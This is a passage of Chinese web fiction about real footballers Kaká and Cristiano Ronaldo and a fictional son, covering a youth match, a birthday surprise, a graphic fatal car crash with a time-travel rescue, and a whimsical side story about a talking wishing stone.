“好了,现在没事了,真是听话的乖孩子。”王富贵抬手揉了揉眼前这可毛绒绒的头,嗯,手感真不错。 处理胳膊腿脱臼可是他的拿手绝活。 然后他反应过来,心里一咯噔,完了,他看病习惯了,下意识把对方当成淘气受伤的小孩子了,不仅摸了人家头,还叫人家“乖孩子”谁家乖孩子一米八的大个子啊! 他想要开口解释,还没开口,布朗宁却红着脸向后窜去,活像眼前的王富贵是吃人的妖怪。 不就是摸了摸头,就这么抗拒吗?王富贵决定他以后再也不随便摸别人头了。 o(╥﹏╥)o 向后越去的布朗宁没有等来熟悉的剧痛,他下意识的活动脚腕,发现真的不疼了? 眼前人的手似乎是有魔力,只是摸了自己一下,自己就不疼了,反观他们的行为 ……这个叫王的人,可真是个好人啊。 “想要赢吗?想要赢的话,接下来的比赛,就把球传给我?明白吗?”我都给他治疗了,让他传我俩球,应该不过分吧?王富贵在心里默默想到。 眼前的人又说话了,只是嘴巴张张合合,布朗宁一句也没有听清,他的脸颊红扑扑,眼神专注的看着王富贵,里面充满了崇拜。 布朗宁对着二线队的所有人说道:“接下来,所有人都将球传给王,他的实力你们也看到了,这是咱们二线队唯一一次可能赢得一线队的机会,你们也不想错过吧?” 而一线队也开始了他们的防守,如果真的输给二线队,那他们的脸算是丢光了。 就这样,下半场,两队的冲突越发激烈。 而王富贵身边多了四个盯防他的球员。 “……” 一时间球场上陷入了焦灼。 没有人敢特意传给王富贵,生怕在半路就被劫走,二线队就像是被拔了牙的老虎,再也程不了威风。 布朗宁选择带球突破,想要缓解王富贵那边的压力,却被一线队的人轻松识破,再次被铲飞,本就受伤的脚腕情况变得更加严重。 球被米尔恩抢走后,一线队飞速展开反击,他们实力本就不错,只是被王富贵突然的进球打的措手不及,才会乱了阵脚。 他们进攻迅猛强劲,更加衬得二线队的后防像是纸糊的一般。 一线队队的队员配合默契,球在他们几个人脚下如流向一般飞速前进,很快就来到了球门前,米尔恩凌空抽射,球向流星一般向着球门飞去,马捷理看着球前进的方向,深吸口气,一个飞扑,抱住了球。 球被拦在了球网外,马捷理才松一口气,看来他还真有点守门员的天赋。 趁着所有人还没反应过来,马捷理迅速开球,球在半空中飞向中场,王富贵早就在那里等候多时。 接到球的他迅速调转方向,大步启动,将所有人都甩到身后,二线队的人也都跑起来,想要为王富贵射门争取机会。 王富贵将所有人抛在身后,后面的人感觉自己腿都跑出残影,也追不上前面人的背影。这是什么怪物?所有人心里同时想到。 王富贵像是一柄利剑,直直的插进一线队的后防心脏,然后抬脚射门。 球进了。 首战虽是天崩开局,不过在第八十分钟,王富贵又带着二线队再进一球,三比一的得分,赢得了这场比赛。 王富贵并没有多少开心,因为他发现,球场上这些人和那些大爷比起来,简直弱的过分,亏他来这里之前紧张的睡不着,竟然只是瞎担心。 二线队的所有人都在欢呼,他们赢了,他们竟然赢了一线队?这简直不可思议,他们好奇的看着王富贵,都在疑惑眼前的是什么。 马捷理却没有那么多顾虑,他直接从球门处冲过来,一把将王富贵抱起来,抛向空中。 “夭寿了,今天才发现自己恐高怎么办?”王富贵脸都吓僵了,以为自己肯定会摔个屁股蹲。 “马捷理,你等我下来,我一定会踹肿你的屁股。” 然后,他发现自己被接住了,不是一个人,而是二线队的所有人,他们用双手,牢牢的接住了自己。 然后,王富贵发现,有人趁机摸了一把他屁股? 19.差一步美满1 等王富贵站在地上,扫视过周围一圈人,感觉周围所有人都有嫌疑,他们看向自己的眼神实在是太火热了。 二线队的所有人到现在都有些不敢置信,他们,竟然,真的赢了一线队。 所有人都发自内心的祝福道:“王,你真的太厉害了。” “没有,没有,我只是一般厉害。”王富贵双手叉腰,他也觉得自己很厉害,但是从小的教养又告诉他要谦虚,他努力憋住马上要露出来的笑容,忍得实在很辛苦。 看着王富贵被球员接纳,卡卡才松了一口气,昨天晚上他一晚都没睡好,现在才感觉累的不行。 众人勾肩搭背的向着更衣室走去,马捷理和布朗宁占据了王富贵左右两个绝佳的位置,静悄悄的挤走不少想要靠近的人,到了更衣室后还热情的邀请王富贵一起洗澡。 王富贵十分干脆的拒绝了两人的非分之想。 “摸我屁股的就是你俩其中的一个吧?” 他决定以后一定要和这俩人拉开距离。 马捷理和布朗宁还在不知道自己被嫌弃了,他俩踌躇片刻还是开口:“王?你是男巫吗?” “哈?不是,你们为什么这么想?”王富贵不明白为什么他们会有这个想法,他是真的理解不了外国人的想法。 “可是,你在球场上,只是摸了一下布朗宁的脚腕,他就好了。”马捷理看的清楚,布朗宁在一旁疯狂点头,他的腿现在只是有一点点痛了。 “那是中医推拿。”王富贵解释:“而且男巫什么的,名字太难听了。” “中……”两人的舌头打结也没有把这四个说出来。 他们看向王富贵的眼神里带着崇拜,马捷理咳嗽一声说:“王,我没有魔力,可以学这个吗?小时候就没有进过霍格沃茨学习,那是我一生的遗憾~” “对对对。”一旁的布朗宁跟着附和,头点的飞快。 “我学了以后是不是能飞?” 好嘛,自己这是白解释了。 他学的是中医,不是巫医。 “我这是家传手艺,只传给家人。”王富国绕过异想天开的俩人,走向了浴室,他在球场上跑了将近两个小时,满身都是汗,在等一会全身都得臭,更何况卡卡还在外面等着自己呢。 他在比赛的时候,往看台上偷瞄了好几眼,总感觉卡卡看比赛的表情很有趣。 王富贵快速洗完一个战斗澡,他现在迫不及待想要见到卡卡。 自己表现的这么好,卡卡会怎么夸自己呢?王富贵在心里美滋滋的想着? 然后就看见了在更衣室外面拦路的大光头。 而且很明显就是来找自己的。 马捷理的父亲是这件俱乐部的股东兼教练。 修斯看见王富贵后眼神一亮,眼前男孩的表现不仅没让自己失望,反而让他非常惊艳。 见到躲不过,王富贵磨磨蹭蹭的向前,看着那熟悉的头,按耐住自己蠢蠢欲动的手开口打招呼:“教练好。” “王,今天感觉怎么样?”修斯笑的温和。 “我感觉挺好的,踢球很有趣。”王富贵实话实说。 “哦?那有没有考虑过签约俱乐部?” “这个我还没有想好呢?”王富贵斟酌着措辞,成为职业足球运动员本就不在他给自己规划的职业里,更何况,就凭他和卡卡的脸,到时候自己一定会被扒出是卡卡私生子的身份。 一个私生子,对于别的足球运动员来说不算什么,但对卡卡来说,那就是他职业生涯的污点,虽然他现在已经挂靴,但是自己真要为了自己的这一点喜欢,而让卡卡晚节不保吗? 就算不踢球,自己也饿不死,踢不踢球又有什么区别? 他有时也会想,卡卡那么好,自己怎么会是卡卡的孩子,那个虔诚的基督徒,真的会有自己这样一个私生子吗?自己会变成卡卡的污点吗? 所以他从来没有主动向卡卡问过他的身世。 不过卡卡总会用爱,消除他那些胡乱的想法,那些爱在生活的点滴里,在关心的语言里,在那些不经意的动作里。 像是一条看不见的线,联通着他和卡卡。 “修斯,我来接富贵,是不是打扰你了?”卡卡出声打断两人之间的沉默。 见状修斯也没有办法继续留人,只能放走王富贵,不过走的时候特意邀请:“既然觉得这里很好,就在这里多玩些日子,只要我在这一天,这里永远有你的位置。”说完大步离开了这里。 看到无关紧要的人离开,王富贵松了口气,他瞥了一眼卡卡的脸色,随即不经意间试探的问到:“卡卡,你觉得我踢得怎么样?” 撒娇的语气搭配脸上的表情,就像是一条求表扬的小狗。 卡卡揉了揉他的头“你今天表现的非常好,比我第一次上场表现的还要好。” “真的吗?”王富贵激动的脸颊都浮现出一片红晕。 “当然是真的,我从来不骗人。” “胡说,你最会骗人了。”王富贵小声嘀咕。 “什么?”声音太小,卡卡并没有听清楚王富贵说的什么。 “我说,咱们现在酒店吗?”王富贵假装镇定的开口,索性卡卡并没有起疑。 两人刚到酒店门口,就看见西蒙妮正在酒店大堂的沙发上,明显在等人,等的是谁不言而喻。 看到卡卡两人的西蒙妮仔细的打量着自己的小孙子,发现身上并没有和上次一样的青紫,才松了口气。 她有些埋怨的看着卡卡:“饭点马上就过了,怎么现在才回来?富贵现在正是长身体的时候,连按时吃饭都没办法,到时候怎么长个?他现在比你还低,你这当爸的真实一点也不关心。” “……”奶奶,我现在一米八四,一点也不矬、 晚饭,又是热量与爱都超标的一餐。 自从西蒙妮来了之后,王富贵感觉自己至少胖了五斤。 接下来几天,王富贵一直在二线队和他们一起训练,偶尔在一线队做陪练,他感觉他技术越来越好。 日子就这样慢悠悠向前走,平静的日子,让王富贵感到幸福。 直到有一天,王富贵看着卡卡跟迪甘鬼鬼祟祟的在厨房里捣鼓了大半天。 想到两人的厨艺,王富贵脸色发白。 不过最后还是好奇心占据了上风,他趴在厨房门口,偷偷的朝着里面看去,就对上了一双黝黑的眼睛。 “你怎么在门口?”迪甘抱臂打量着偷窥的王富贵。 “路过。”王富贵嘴硬道。 “哦,原来是偷窥。”迪甘的眼神里带着揶揄,直接揭穿了王富贵的真实意图。 “是不是很好奇我们在做什么?想知道就叫叔叔,你不叫叔叔我可不会告诉你。” “叔叔。”王富贵直接说道。 干脆利落的样子吓了迪甘一跳。他摘下眼镜,擦拭着干净的镜片:“下周一,是你十八岁的生日,在巴西,十八岁对于男孩来说是个大日子,代表着他们成年了,在这天我们会为他准备成人礼。” 今天是周五,那岂不就三天后? “你们在为我准备成人礼?什么时候开始的?”王富贵想起上次在厨房里找到的那些中国食材,,现在那些异常都有了答案。 “从你回来的第二天,卡卡就在准备了。” “你从华国长大,卡卡在知道那里生日的时候是要吃长寿面后,就一直在练习怎么做。” 长寿面,原来这些天的鬼祟是为了给自己准备长寿面。 “那你们怎么不告诉我。” “卡卡说要给你一个惊喜。” 王富贵努力压制自己上翘的嘴角:“哦,原来是这样啊,那你们继续,我什么都不知道,什么都不知道。”说完慌乱的离开了厨房门口。 卡卡在厨房里专心的看着锅里的面,面条在沸腾的锅里。 为了这些,卡卡已经连续半个多余拉着迪甘在厨房里折腾,一个做,一个吃,差点要了俩人老命。 面熟了,卡卡将面从锅里捞出来,迪甘现在不在,去和王富贵说成人礼的事去了。所以这碗面他得一个人试味道。 面的卖相十分不错,卡卡尝了一口,才终于松了口气,他做的面,终于能进口了,虽然称不上色香味俱全,但也没有什么奇怪的味道。 卡卡擦了擦额头上的汗,觉得这些天的累,实在是没白挨。 转眼就到了周一,王富贵一出房门就傻了眼,外面红的刺眼,大红花挂满了整个走廊,夸张到像是在拍电视剧。 他小心翼翼的走到大客厅,发现这里更加夸张,火盆,柚子叶摆在门口,里面数几十张八仙桌摆在一起,上面摆满了小点心,上方五彩的灯球闪耀出七彩的光芒,晃的人睁不开眼。 ……好一个中西合璧。 迪甘出来看见王富贵大声说道:“怎么样?是不是很惊喜,为了准备这些,我和卡卡研究了好多的华国文化。” 王富贵的嘴角抽了抽。:“惊喜,真的惊喜,这装饰是谁,谁,准备的啊?” “我啊,是不是很漂亮,这些我准备了好长时间。” 迪甘抬手看了眼时间对着王富贵说道:“我现在要去取蛋糕 ,你留在这里招呼客人。” “客人?还有客人?”王富贵声音差点劈叉。 “卡卡的朋友,还有你的朋友,还有我的朋友,我都通知了,我保证今天会是一个非常精彩的宴会,你就是最靓的主角。” 王富贵捂住自己的眼睛,灯晃的他眼睛疼。。 “我还准备了摄影团队,到时候全程录像,等你老了,这些可都是纪念。”迪甘的话似恶魔低语,在王富贵耳边回荡。 “要不还是跑吧?至少跑了就不用丢脸了。”王富贵看着这土出新风格的装饰,恨不得捅瞎自己的眼睛。 然后他就看见了拿着钥匙正要出去的卡卡。 “卡卡,你要去哪?”不管卡卡去哪,他都要卡卡一起去,这个地方太伤眼,他一分钟都待不下去了。 卡卡的动作一顿:“生日快乐富贵,我要去接一个朋友。” “我可以和你一起去吗?我不想呆在这。”王富贵可怜兮兮的开口。卡卡,一定要答应啊,不要留我一个人在这里丢人。 卡卡先是露出为难的神色,但是看着王富贵可怜兮兮的表情,最终还是叹了口气。 “好吧,那你先去车里等着,我去和迪甘说安排人在这里接待客人。” 王富贵直接蹿进窜下楼,笑着回道:“长官,保证完成任务。” 卡卡开着车,随着车上放着动感音乐摇晃着身体,他最近心情不错,喝了王富贵准备的养生水,他感觉自己身体好了很多,至少那些负面情绪不会再包裹着他。 车子缓缓行驶在路上,他看着面前的仪表盘,陷入了沉思,他已经很久没有见过那个人了,所以在那个人提出想要来参加王富贵的成人礼时,卡卡竟然鬼使神差的没有拒绝。 王富贵打量着这量十二座的车,反应迟钝的开口:“卡卡,今天要接十二个朋友吗?” “没有,只有一个。”卡卡抻了抻脖子上的领带,太长时间没有穿正装,让他感觉有些不习惯。“只不过他家是个庞大的家族,有很多孩子,我并不知道,他会带多少人来。” 外国人可真是能生,王富贵在心里想到。 “富贵。”卡卡突然出声:“一会儿见到人,一定要有礼貌,见面要打招呼……” “知道了,见面我会喊叔叔好的。”看来这个朋友和卡卡的关系很好,那个大罗纳尔多一直想当自己的教父,现在看来是没有机会了,卡卡都没有松口,或许这个朋友才是卡卡心目中的最佳人选也说不定。 对于这个需要卡卡亲子接的朋友,他的兴趣很大。 “卡卡,咱们要去接谁啊?他是专门赶来参加我的成人礼的吗?” “是,他是我曾经最好的搭档,队友,朋友,是一个非常好的人。”本以为很难说出口的话,在说出来的那瞬间卡卡感到了解脱。 实锤了,这个朋友,绝对是奔着当自己干爹来的。 根据外国人,流行认教父的传统,说不定在成人礼之后,自己就会多一位教父了。 车子驶向了跨江大桥,桥上突然起了雾。 伴随着砰的一声巨响,卡卡开的车,被狠狠地撞向的前面的大货车。 王富贵上一秒还在乐呵呵的和卡卡聊天,下一秒变形的车头,就将他卡在座位里,感受着腿上传来的剧痛,王富贵清楚的知道,自己的腿绝对骨折里。 卡卡拉开安全带,惊慌的想要查看王富贵的伤势,却被王富贵笑着安抚:“卡卡,我的腿卡住了,只是卡住了,没有受伤,你现在找人过来救我好不好?” 他并不想让卡卡现在知道自己的伤,如果他们两人只能活一个,他希望卡卡能活下去。 卡卡打开车门,就看见了外面惨烈的景象,后面的车头已经碎了,车主倒在方向盘上失去了意识,而前面的大货车,车头整个都变形了了。 连环车祸。 这个念头让卡卡额头冒汗,现在必须马上将富贵救出来,不然如果发生过二次撞击的话,后果不堪设想。 王富贵坐在车上,想要掰开下半身变形的金属,锋利的铁片将他的手隔得鲜血淋漓。 卡卡拿着撬棍钻进车里,想要将王富贵救出来。 二次撞击紧接着发生,王富贵只看到一个身影猛地扑向自己,紧接着就是滚烫的血液,喷到自己脸上。 那是卡卡的血。 前面的大车上装的全部都是锋利的钢管,飞射的钢管捅穿了卡卡的身体,卡卡软软的倒在了王富贵身上。 随着第三次撞击,那根钢管顺着卡卡的身体刺破王富贵的身体,将两个人结实的钉在车座上。 20.差一步美满2 剧烈的疼痛席卷了王富贵的全身,眼泪不自觉的从眼眶处留下,他艰难地抬起手,想要查看卡卡现在的状态。 “卡卡?”王富贵声音里带着哽咽:“卡卡,你能听到我说话吗?求求你,回答我,求求你,不要死。”每吐出一句话,嘴角都伴随着鲜血与碎肉末,那根钢管虽然没有直现在要了他的命,但他也活不了了。 卡卡并没有回答王富贵的,或者说他再也回答不了。 钢管在打碎了了保护心脏的肋骨后,直直的刺穿了他的心脏,让他在那瞬间死去,只来得及留给了王富贵一个眷恋的眼神,他的嘴角挂着一抹浅笑,在生命的尽头,他还在为自己保护了身下的人而感到开心。 可惜他不知道的是,那根钢管直接透过了他,也贯穿了王富贵的身体。 王富贵的手在终于挪到了卡卡的颈部大动脉处,手下的脖颈微垂,还带着余温,只不过那代表着生命的律动已经完全停止。 窗外的雾越来越大。 外面传来哭喊尖叫和警笛声,雾气太大了,不断的有车相撞在一起,王富贵紧紧地抱住卡卡,他能感觉到生命伴随着伤口鲜血流失而流逝。 他看着外面的雾气,眼神变得暗淡。 明明早上还好好的,现在怎么就变成这样了?好遗憾啊,还没有吃过卡卡专门为自己准备的长寿面呢,迪甘和西蒙妮他们还在等着自己和卡卡回去呢,这还是第一次有人给自己庆祝生日呢,自己竟然要缺席了……各种情绪充斥在脑海里,最终只剩下:卡卡怎么这么傻啊,他要是不扑上来保护自己,就不会死了。 最终,他想明白了,是他害死了卡卡。 原来发生的这一切都是因为他。 王富贵在心里默默想到。 他后悔了,他不应该来认亲,他应该认命,他应该接受自己的命运,孤零零的死在一个无人在意的角落。 那样的话,卡卡也能好好的活下去,过着他平静的生活。 眼泪混着脸上的血水从他脸颊上缓缓滑落,啪嗒,啪嗒,落在座位上,落在他的心里。 为什么他没有在钢管刺下来的那瞬间就死了呢?王富贵现在无比痛恨自己有这么强的身体素质,如果像个普通人,他早就死了,就不会这么痛苦。 不仅是身体上的痛苦,还有心里的痛。 “卡卡,我好疼啊,好疼啊。”就像是一个十八岁少年对着父亲撒娇的样子,王富贵将卡卡抱得紧紧的,将头埋在卡卡饿脖颈,似是想从他的身上汲取一丝力量,好减轻自己身上的痛苦。 只不过一切都是徒劳,痛还在,苦也还在。 过人的身体素质并不能减轻他的痛苦,而是让他不能立刻死去。 让他在死前接受这种非人的折磨。 而另一边的酒店里热闹极了,所与人在舒缓的音乐里和身边的人攀谈着,他们都在享受着这个新奇的宴会。 “迪甘?卡卡和富贵去哪了?”西蒙妮找了一圈都没有看见儿子和孙子的身影,心里有些不安。 “卡卡带着富贵去接朋友了。”迪甘正在和摄影师沟通生日宴的具体安排,但是看着不安的母亲,他还是赶紧过来安抚。 哈尔手里拿着准备好的生日礼物,这几天他都在处理自己年假延后的事情,实在没能腾出时间亲手准备礼物。 现在,他要去兄弟身边,给他一个生日惊喜,他本以为自己会直接出现在酒店里,谁知睁开眼竟然出现在马路中间,一辆失控的轿车正直直的撞向自己。 哈尔:“w(?Д?)w” 还好他身手灵活的躲了过去。 不是,他兄弟这是给他干哪来了? 不过他兄弟去哪了? 哈尔的眼神瞟向四周,正好看见了像糖葫芦一样被串在钢管上的王富贵和卡卡。 哈尔:“啊啊啊啊啊啊啊啊。” 哈尔:“omg,你吓到我了~” 他将礼物塞进口袋,打开车门坐了进去。 “嗨,富贵有没有想我?”他如同平常一样对着王富贵打了个招呼。 他的兄弟并没有分给他一个眼神,而是在充满了血腥味车里,露出一个微笑。 “我要死了,哈尔,但是现在还死不了,你能不能帮帮我?给我一个痛快。” “王富贵,和我走吧?和我走你就能活下去。” “活下去?”王富贵在嘴里重复着这三个字,露出一个凄惨的笑:“可是我不想活,只想死。” “是我害死了卡卡,我就应该去死,我不配,不配活着。” 哈尔满脸震惊,他不可置信的看着那个两三个月前还挣扎着不想死的人,现在没有了一点生的欲望。 “你疯了?就为了卡卡,就为了一个刚认的爹,你连命都不要了?” “你竟然要和卡卡殉情?” 王富贵:“……” 王富贵并没有回答他,而是又将头埋在卡卡的颈窝,他很累,很冷,也很疼。 “你不想活,那卡卡呢?你不想救卡卡吗?” “救卡卡?”王富贵又将头抬起来,黝黑的眼睛紧紧地盯着哈尔:“我想救卡卡,帮我救卡卡,求求你,让卡卡活下去,就算是,,我死了也没关系。” 哈尔深吸口气,语气里带着一丝嫉妒:“好,好,只要你乖乖听话,我就帮你。” 哈尔:我的兄弟是大爷,还得让我求着他,他才活。 “嗯”王富贵乖乖的点点头。 “还记得我说过,你的灵魂威力巨大,一旦爆炸,后果不堪设想,还记得吗?现在我要用你的灵魂炸开时间通道,让你回到昨天,阻止卡卡来这里,这样就能救卡卡” “为了避免你的灵魂被炸成碎片,我现在要去时空局借道具,”他的语气里带着一丝不忍:“你要记住,我回来之前,你千万不能死,一旦你死亡灵魂就会消散,那就再也不能救卡卡了。” “谢谢你,哈尔。” “别说那客气话,我可是你最好的朋友,你爹不就是我爹。”哈尔将额头抵上王富贵的额头,感受着那阵冰凉,语气沙哑的开口问到:“富贵,你是不是很疼啊。” “刚才看到你的第一眼,我 还以为你死了,我吓得腿都软了,还好,还好你还活着,我会尽快回来,我保证,两个小时内肯定会回来,你只要再疼两个小时,那时候一切都结束了。” “卡卡会活过来,你也会活过来。” 失血过多让王富贵脸色灰白,语气也更加虚弱:“我会等你回来,不管需要多长时间,我都会等你回来。” 时间一分一秒的过去,王富贵在这期间有几次都险些失去意识,要不是想救卡卡的信念支撑着他,或许他早就死了。 直到他的手再也没有力气抬起,他明明睁着眼睛,眼前也只有一片灰暗,他的耳朵开始出现轰鸣,哈尔的声音终于出现:“富贵,我回来了,咱们现在就出发。” 迪甘看着车内惨烈的景象,疯狂跑过去想要扒开车门,车门轻易就被打开,迪甘却没有了向前的勇气,周围的医护人员抬着担架在忙忙碌碌。 迪甘拉住其中一个人问:“为什么,这里还有两个人,你们为什么不救他们。” 医护人员眼神里带着同情:“先生,十分抱歉,我们已经检查过了,车内的两位先生已经没有了生命体征,请您节哀。” 克里斯蒂亚诺罗纳尔多傻傻的站在路口,他不可置信的看着眼前的画面,昨天还通过电话的人,现在冷冰冰的被一根钢管贯穿,还有另一道身影紧紧的依偎在他的颈窝,如果没有那根钢管的话,他都不敢想象画面会有多么温馨。 那个孩子,果然和卡卡长得一样,可是这次,就连最后一面,他都没有见到。 “克里斯,你要坚持住。”多洛雷斯的声音从背后传来,克里斯这才发现,如果没有母亲的支撑,他可能早就摔在地上。 “妈妈,卡卡和安琪儿,他们又一次离开我了,我该怎么办?这次他还带走了卡卡,妈妈,怎么办,我好痛,我要坚持不住了。” “克里斯,坚持住,你确定吗?他就是当初的那个孩子?” “妈妈,我确定,他就是我的孩子,我的安琪儿,在看到他的第一眼,我们之间的血脉亲缘告诉我,他就是我的孩子。” …… 王富贵听着耳边的嘈杂声,那似乎是迪甘的声音? “克里斯蒂亚诺罗纳尔多,如果不是你,卡卡和富贵怎么会死!!!你为什么要来,为什么……”迪甘拽住c罗的衣领,c罗完全没有反抗的意思。 “迪甘,住手。”西蒙妮趴在丈夫怀里哭泣:“卡卡他们的事是意外,你怎么能将错怪到克里斯身上,他是卡卡最好的朋友,他的伤心不比你少。” 这个善良虔诚的基督教教徒,并没有将儿子的死怪罪到别人身上。 王富贵感觉到一阵暖意从车外的那个人身上传来,这种熟悉的感觉,和卡卡是一样的。 车外的人,会是他的“母亲”吗? 王富贵努力睁大双眼,想要看清那个人的脸,可惜的是只看见一片模糊。 “富贵,我回来了,咱们现在就出发。”伴随着哈尔的声音,王富贵在一片白光中陷入了沉睡。 可惜,最后他都没有看清楚“母亲”的脸。 21.这是一个甜甜的番外 2009年6月29号,卡卡站在窗前,看着外面的天空,米兰的太阳热烈的挂在天上,将路上的行人烤的一个不剩。 卡洛琳正在打包自己的首饰,她很兴奋,只要去了伯纳乌,卡卡的身价与名声都会更上一层,而她,也将会是伯纳乌最闪耀的球星太太。 看这呆在窗前的卡卡,卡洛琳闪过一丝不满。 “卡卡?你还不准备去收拾行李吗?现在不收拾,会赶不上晚上的火车。”看着站在窗口发呆的男人。 她实在是不明白,卡卡为什么会对米兰有这么深的感情?就因为在这里踢了几年球?离开的时候就要死要活的。 卡卡这时才回过神来回道:“好的,我马上去收拾。”他不知道怎么形容自己现在的感觉,只觉得整个心都空落落的。 但这种情感他却没有办法表达给他亲爱的家人们,他不想让家人为他担心。 六点,他将最后一个行李箱放进后备箱。 车子缓缓驶向机场,他们要从米兰直飞皇家马德里。 事情本该如此,但现在却发生了意外。 车子被一个黑发女孩拦在半路上。 “又是这样,这些疯狂的球迷,真是让人受不了。”卡洛琳在心里疯狂吐槽。 卡卡摇下车窗,表情有些严肃:“小姐,你明白你刚才的行为有多危险吗?” 黑发女孩一脸兴奋:“卡卡,我,我是你的球迷,你能给我签个名吗?”她操着一口不太流利的英语,努力展示身前的红黑球衣。 那是卡卡在米兰的专属球衣。 卡卡看这那球衣,眼神里略过一丝柔和,但还是严肃的开口: “小姐,签名可以,但是在马路中拦车,这种行为实在是太危险,下次千万不要再做这么危险的事了好吗?”说完他露出一个微笑。 黑发女孩似是被卡卡迷的神魂颠倒,赶紧点点头,她也知道刚才的行为太过于危险,只是,卡卡今天就要离开米兰了…… 而自己,也将要离开,这说不定是他们最后一次见面。 卡卡低头拿出笔,在球衣上写下自己的名字,然后将它递给女孩。 女孩接过衣服,看这上面的签名,露出一个开心的微笑,她将球衣小心的叠好放进包后,她又在包里翻找起来。 “怎么没有?”她记得把东西放进包里了啊。 看着找出来黑色石子,“应该是这个吧?”女孩不确定的想,不过她怎么记得买来的时候,是白色的来着? 或许是记错了?女孩摇了摇头,将手里的圆滚滚的黑色石头递给卡卡:“卡卡,这是我家里传下来的许愿石,我家祖训说过,它能实现任何愿望,现在我把它送给你,希望你能永远幸福。” 卡卡接过石头,细细打量后确定只是一块普通石头后,才松了口气。 看着眼神亮闪闪的姑娘,他将石头拿到嘴边,在上面落下一吻后说道:“谢谢你的礼物,我很喜欢,也祝你能永远幸福。” 卡卡并没有撒谎,在看到这个圆的过分的石头的第一眼,他就觉得很喜欢。 他将石头小心翼翼的放进口袋,连同他对米兰的不舍,一并打包进口袋后,然后扬长而去。 2009年6月30号,卡卡亮相伯纳乌球场,吸引了五万球迷涌入伯纳乌球场。 同年7月6号,克里斯蒂亚诺罗纳尔多,也宣布加盟了皇家马德里。 在外界纷纷猜测两人关系会如何剑拔弩张时,其实两个人之间的相处的氛围还不错。 更衣室里卡卡刚换好球衣准备训练,就被克里斯蒂亚诺一把揽住肩膀,他调皮的眨眨眼睛,开心的说道:“卡卡,好久不见。” “克里斯,好久不见。”卡卡挣开克里斯蒂亚诺的束缚,笑着和克里斯打起招呼。 他和克里斯其实早就认识,关系其实还算不错,或者说,任何一个认识卡卡的人,都会和他成为朋友,没有任何一个例外。 “卡卡,今天可以拜托你带我逛一下伯纳乌球场吗?你知道我今天刚到,对这里不熟悉,如果我一个人乱逛的话,肯定会迷路的?” 卡卡低头,沉默,片刻后,他抬起头,不确定的重复问到:“克里斯,你确定?要让我带你逛伯纳乌吗?” 克里斯不明白卡卡为什么会有这种反应,他笑着说道:“你也知道,我是第一天来这里,并没有熟人,你就是我在这里做熟悉的人了,你忍心看着我这这里迷路,回不去家吗?” 看着克里斯蒂亚诺哀求的眼睛,卡卡实在是说不出拒绝的话,还好在前几天,伊克尔·卡西利亚斯带着他将球场绕的差不多,他就只带着克里斯绕绕熟悉的地方,应该不会迷路的吧? 然后,两个人看着面前这条笔直的走廊傻了眼? 他们已经在这条走廊上走了三圈了。 “卡卡,咱们是不是迷路了?”克里斯蒂亚诺不确定的问道。 这还用问吗?卡卡在心里抓狂,他们这肯定是迷路了啊。“我记得,应该是这样走的。”卡卡向左指了指,肯定的说道。 “可是,你刚才才说过,右边才是正确的。”克里斯出言反驳。 他现在算是知道了,卡卡就是个路痴啊,那他上次迷路做错飞机,也许并不是找的借口。 他这到底是干了什么蠢事啊,竟然找了一个路痴带路,说出去一定会被人笑掉大牙。 这都应该怪卡卡,自己是路痴,竟然还敢答应带人逛街!!! 可是,看着卡卡的脸,完全生不起气啊,克里斯蒂亚诺在心里想到,卡卡的脸实在是太犯规了。 而且,迷路了,不久可以单独和卡卡多相处了。 最后,两人是被巡逻的保安发现的,不然他们就要留在球场里过夜了。 等到回家,卡卡已经精疲力竭,不是身体上的疲劳,而是精神上的。 他躺在沙发上,将脚上的球鞋甩飞,现在,球队里的所有人,都知道,他是一个路痴了,简直是丢死人了,卡卡捂着脸想到,这都怪克里斯。 卡洛琳现在并不在家,她去参加了本体著名的慈善晚会,卡卡觉得卡洛琳比自己更加的适应伯纳乌的一切。 他将口袋里的黑石头拿出来握在手里,对着它打气:“卡卡,你要振作,要坚强,你只是到了一个新环境不适应,很快就会习惯。” 这些天他,这块从米兰带来的黑色石头,给了很大的安慰。 离卡洛琳回来还早,卡卡从橱柜里掏出一袋薯片,这是他专门给自己准备的零食,卡洛琳为了保持身材是从来不碰这些的,并且还笑话过他,像个孩子似的,从那以后,他就很少在卡洛琳面前吃零食了。 薯片袋子并不锋利的边角从卡卡的拇指上划过,一滴鲜血从卡卡的大拇指落到茶几上的黑色石头上,黑色的石头上闪过一抹白光。 卡卡疼的“嘶”了一声,抬起大拇指,却看见上面平平整整,完全没有任何伤口,刚才明明看见流血了? 卡卡没有把这件事当回事,继续吃着手里的薯片,然后他就看见,茶几上的黑石头,跳上的的手,狠狠地撞向了他的脑门。 卡卡的脑门被撞出了一个大包,卡卡:“……” 完了,出现幻觉了。 石头掉在地上,里面传出婴儿的哭声。 “爸爸” “爸爸” “爸爸” 卡卡捂着脑袋上的包,晕乎乎的说道:“不是幻觉,是滴血认爸。” 22.这是一个甜甜的番外2 等他在醒过来的时候,手里的石头也恢复了正常,至少没有再追着他喊“爸爸”。 难不成这真的是什么有魔力的石头?卡卡的眼神里充满了对自己的怀疑。毕竟他已经过了爱幻想的中二时期,现在还有这种想象力,说出去肯定会被人笑话。 外面的天已经黑了,屋里也是黑的,卡洛琳还没有回来。 这间房子是罗纳尔多直租给他的,并没有要他的房租,房子的装修充满了巴西风格,让卡卡很是亲切。 但是卡洛琳很不喜欢,她正打算联系装修公司,准备对这里来一次大改造。 卡卡有些头疼,他不知道该怎么给卡洛琳解释,这是别人的家,他们只是在这里借住的客人,没有权利破坏房间里的任何一样家具饰品。 或许是时候找一所新房子了,一所能满足卡洛琳所有想法的房子。 在国家队里,卡卡和罗纳尔多的关系最好,大罗一直像一个哥哥一样照顾着自己。 这也是他免费让他住这所房子的重要原因,那他就更不想为了这点小事,影响两人之间的友谊,而卡洛琳孤身陪着自己来到这个陌生的国度,只要不是特别过分的要求,卡卡一般都不会拒绝。 他醒来已经有半个小时,手里的石头就如同正常的石头一样,平静的让卡卡都开始怀疑那些生音只是自己的幻觉,然后他摸到了自己额头上的大包。 他摇了摇手上的石头,低声倾诉自己的疑惑:“你到底是个什么东西?” 本以为不会有回应的卡卡,在下一秒就又听见了那声熟悉的“爸爸” 石头在他的手心里滚了一圈,又喊了一声爸爸,卡卡莫名的从声音里听出了一丝撒娇的感觉。 “还会说别的吗?”卡卡再次晃了晃手里的石头,石头依旧喊了几声爸爸。 卡卡这才确定,这块石头,似乎只会说爸爸这两个字。 卡洛琳进屋的时候,卡卡已经订的餐也已经到了。 